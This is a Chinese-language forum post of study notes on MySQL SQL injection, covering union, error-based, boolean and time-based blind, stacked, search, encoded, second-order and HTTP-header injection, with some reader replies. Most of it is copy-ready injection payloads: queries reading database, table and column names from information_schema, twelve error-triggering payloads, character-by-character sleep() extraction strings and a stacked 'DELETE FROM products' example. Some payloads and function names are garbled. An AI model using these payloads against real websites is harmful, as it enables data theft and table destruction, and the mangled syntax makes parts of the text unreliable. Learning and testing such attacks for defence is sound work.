sql注入基础整理(mysql)

桃花林   ·   发表于 2022-01-25 15:33:01   ·   学习杂记

sql注入基本步骤

  1. 找注入点且得到闭合字符
  2. 判断数据库类型
  3. 猜解列数,得到显示位(如没有显示位 尝试使用 布尔盲注)
  4. 得到数据库名
  5. 得到表名
  6. 得到列名(字段名)
  7. 得到列值(字段内容)

联合查询注入

前提须知

想要用联合查询进行注入获取数据页面必须有显示位

union可合并两个或多个select语句的结果集, 前提是联合的select查询的字段数必须相同、且各列的数据类型也相同
如:select 1,2 union select 3,4

注入步骤

  • 找注入点且得到闭合字符

    1. 注入点 url栏内 id=1 尝试拼接and 1=1 如果没有得到结果 尝试闭合 常用的闭合为',",'),") 也会有些过于变态的闭合如 ")))))))理论上存在
  • 判断数据库类型

    1. Version()函数可以用来判断数据库类型
    2. 如果返回正确 即可能为sqlserver(mssql)或者mysql数据库
    3. 利用length(user())>;0 来检测是否存在user函数 如有就是mysql数据库
  • 猜解列数,得到显示位

    1. 利用 order by 来检测有几个字段
    2. 得到基本信息(如:数据库名、数据库版本、当前数据库名等)
    3. 可以利用concat_ws函数来一次直接查询数据库名、数据库版本、当前数据库名
    4. Concat_ws('~',database(),user(),version(),)
    5. Concat_ws格式 concat('其他参数的分割符',需要返回的参数,需要返回的参数) 可以继续添加
    6. 在语句中的格式 union select 1,Concat_ws('~',database(),user(),version(),)
    7. 利用concat判断数据库的库数量 concat(distinct table_schema
    8. 在语句中的格式 union select 1,concat(distinct table_schema) from information_schema.tables
  • 得到数据库名

    1. 利用limit依次获得库民
    2. 在语句中的格式 union select 1, table_schema from information_schema.tables limit 0,1
    3. 得到表名
    4. 利用Group_concat()函数拿到选定库的所有表名
    5. Group_concat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。
    6. 在语句中的格式 union select 1, group_concat(table_name) from information_schema.tables where
  • 得到列名(字段名)

    1. union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
  • 得到列值(字段内容)

    1. union select 1,concat_ws('~',字段名,字段名) from 数据库名.表名 limit 0,1 limit用于依次获得每行对应数据

报错型注入

12种SQL注入报错方式 https://www.cnblogs.com/aw4ke/p/10901337.html

1. 通过floor报错

注入语句: and select 1 from (select count(),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a)
详解:
COUNT() 函数返回表中的记录数
floor函数返回小于或等于指定值(value)的最小整数 取整
Rand()函数 随机值 rand(0)
2 0到2的随机值 但不包括2
Group By”从字面意义上理解就是根据“By”指定的规则对数据进行分组
floor(rand(0)2)x的x是为floor(rand(0)2)添加了一个别名,就是x就等于floor(rand(0)2) 这句语句意思是随机生成0或1
报错原理

语句执行

继续进行group by。这是第四次floor运算了,根据刚刚那个011011序列,这次的值为0,在表中找是否有key为0的数据。当然没有,故应当插入一条新记录。在插入时进行floor运算(就像第一次group by那样),这时的值为1,并将count(
)置1。可是你会说,虚拟表中已经有了key为1的数据了,这就是问题所在了。此时就会抛出主键冗余的异常,也就是所谓的floor报错。
原文地址https://blog.csdn.net/qq_43504939/article/details/90046342

2. 通过ExtractValue报错

extractvalue(xml_frag,xpath_expr)
报错原理:
extractvalue函数接受两个字符串参数,一个XML标记片段xml_frag和一个XPath表达式xpath_expr(也称为 定位器); 它返回cdata第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue(‘<a><b><b></a>‘, ‘/a/b’);就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出 即可获得我们需要的内容

3. 通过UpdateXml报错

报错原理:
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为Xml_target新的XML片段 new_xml,然后返回更改的XML。Xml_target替换的部分 与xpath_expr用户提供的XPath表达式匹配。
如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始Xml_targetXML片段。所有三个参数都应该是字符串。
和extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容
详细可见案例:https://www.cnblogs.com/Hunter-01001100/p/11371969.html

4. 通过NAME_CONST报错

注入语句:and exists(select from (select from(select name_const(操作代码,0)) a join (select name_const(操作代码,0)) b)c)
报错原理:
mysql列名重复会导致报错,通过name_const制造一个列
我们可以利用mysql列名重复会导致报错这个原理配合join函数得到列名using 等价 join 中的On
查询的内容需是定值(约束条件过于苛刻,可操作的内容极其少)
内容来源:https://blog.csdn.net/weixin_46706771/article/details/112768863

5. 通过join报错

join报错可以用于爆列名(字段名)
报错原理:
多个join多个条件就可能会报错

6. 通过exp报错

报错原理:
当传递一个大于709的值时,函数exp()就会引起一个溢出错误
内容来源:https://netsecurity.51cto.com/article/489529.html

7. 通过GeometryCollection()报错

报错原理:
GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制,但下面介绍的GeometryCollection的子类会限制其成员。这类限制可能基于:元素类型(例如,MultiPoint可能仅包含Point元素)
当MYSQL无法用这样的字符串画出图形时就会报错
但是这个报错注入只能在 5.5<mysql版本<5.6 中使用
内容来源:https://blog.csdn.net/weixin_46706771/article/details/112770319

8. 通过polygon()报错

注入语句如下:and polygon(()select * from(select user())a)b );
修改select user()的user()为你想要查询的语句

9. 通过multipoint()报错

注入语句如下:and multipoint(()select * from(select user())a)b );

10. 通过multlinestring()报错

注入语句如下:and multlinestring(()select * from(selectuser())a)b );

11. 通过multpolygon()报错

注入语句如下:and multpolygon(()select * from(selectuser())a)b );

12. 通过linestring()报错

注入语句如下:and linestring(()select * from(select user())a)b );
(后面五种报错均没找到对应讲解资源)

布尔型注入

布尔注入利用的危险函数
Length(),substr(),ascill()
Length()返回字符串的长度
Substr()截取字符串
Ascill()返回字符的ascill码值
当一个页面,存在注入,没显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常进行判断进行SQL注入。

  1. 判断是否有注入 and 1=2
  2. 判断字段数 and 1=2 order by 2
  3. 判断数据库名位数 and length(database())=1 当页面正常 即确定了库名位数
  4. 判断数据库名 and ascii (substr(database() ,1,1))=1
  5. 判断表名位数 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
  6. 判断表名 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1
  7. 判断字段名位数 and length((select column_name from information_schema.columns where table_name='表名' limit 0,1))=1
  8. 判断字段名 and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))=1
  9. 判断字段内容位数 and length(( select 字段名 from 表名 limit 0,1))=1
  10. 判断字段内容 and (ascii(substr(( select 字段名 from 表名 limit 0,1),1,1)))=1

延时注入(时间盲注)

延时注入危险函数
所有布尔注入用到的危险函数,if(),sellp()
if()函数有三个参数,其用法为if(a,b,c)
第一个参数a:判断语句,返回结果为真假,第二个参数b:如果前面的判断返回为真,则执行b,第三个参数c:如果前面的判断返回为假,则执行c
Sellp() 可以让语句停留一段时间 在注入中的作用为 可以控制页面刷新时间 当成功控制了 即存在延时注入
延时注入 又为时间盲注 是盲注的一种 当输入and 1=1 时 所有闭合都回显正常时且布尔盲注得不到结果 可尝试使用延时注入 判断是否存在延时注入 and sellp(5)当页面刷新时间在5秒左右时 即存在延时盲注 可以修改5为10 二次判断

  1. 判断是否有注入 and sleep(5)
  2. 判断字段数 and if((order by 1),sleep(5),1)
  3. 判断数据库名位数 and if(length(database())>1,sleep(5),1)
  4. 判断数据库名 and if(ascii(substr(database(),1,1))&gt;1,sleep(5),1)
  5. 判断表名位数 and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))&gt;1,sleep(5),1)
  6. 判断表名 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))&gt;10,sleep(5),1)
  7. 判断字段名位数 and if(length((select column_name from information_schema.columns where table_name='表名' limit 1,1))&gt;1,sleep(5),1)
  8. 判断字段名 and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))&gt;1,sleep(5),1)
  9. 判断字段内容位数 and if(length(( select 字段名 from 表名 limit 4,1))&gt;1,sleep(5),1)
  10. 判断字段内容 and if((ascii(substr(( select 字段名 from 表名 limit 3,1),1,1)))=122,sleep(5),1)

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
堆叠注入也就是 在语句前加上分号(;) 当网站存在过滤时 或许可以使用
内容来源:https://blog.csdn.net/weixin_44262289/article/details/107699571
一道堆叠ctf题型讲解:https://blog.csdn.net/qq_26406447/article/details/90643951

搜索注入

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在
其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method=”get”属性来区分是get还是post。搜索型注入又称为文本框注入。
内容来源:https://blog.csdn.net/weixin_42277564/article/details/94401484

编码注入

Base64编码攻击注入属于编码注入
会有一些网站对url栏里显示出来的内容进行编码 然后我们看着貌似没什么用的数据其实都在里面
详细例子可见杳若老大的帖子:https://bbs.zkaq.cn/t/5938.html
当我们遇见一些网站的url的内容是一些类似编码的内容 即可尝试解码 解码后发现这个内容是一些可操控的内容时 可以尝试注入 但是我们注入的内容也需要是编码过后的内容

多阶注入

  1. 一阶SQL注入:
  2.       1;一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;
  3.       2;攻击者在http请求中提交非法输入;
  4.       3;应用程序处理非法输入,使用非法输入构造SQL语句;
  5.       4;在攻击过程中向攻击者返回结果。
  6. 二阶SQL注入:
  7.       1;攻击者在http请求中提交恶意输入;
  8.       2;恶意输入保存在数据库中;
  9.       3;攻击者提交第二次http请求;
  10.       4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
  11.       5;如果攻击成功,在第二次请求响应中返回结果。

两者危害一致。但是二阶注入很难通过扫描工具直接扫描出来;可以进行黑盒测试,但是想要发现漏洞有一定的难度;最好的发现漏洞的方法是通过白盒审计
内容来源:https://www.cnblogs.com/sun-sunshine123/p/6921383.html

请求头参数注入

其实就是将sql注入语句 写在请求头里

  • User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
  • Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密).
  • X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
  • Clien-IP:和xff一样
  • Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的.
  • Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

内容来源:https://www.jianshu.com/p/05fb43f056f9

用户名金币积分时间理由
Friday 4.00 0 2022-04-24 12:12:13 一个受益终生的帖子~~
host11 5.00 0 2022-02-12 11:11:21 一个受益终生的帖子~~

打赏我,让我更有动力~

2 条回复   |  直到 2022-2-15 | 1660 次浏览

徐浩洋
发表于 2022-2-14

彳亍

评论列表

  • 加载数据中...

编写评论内容

247760923
发表于 2022-2-15

谢谢大神

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.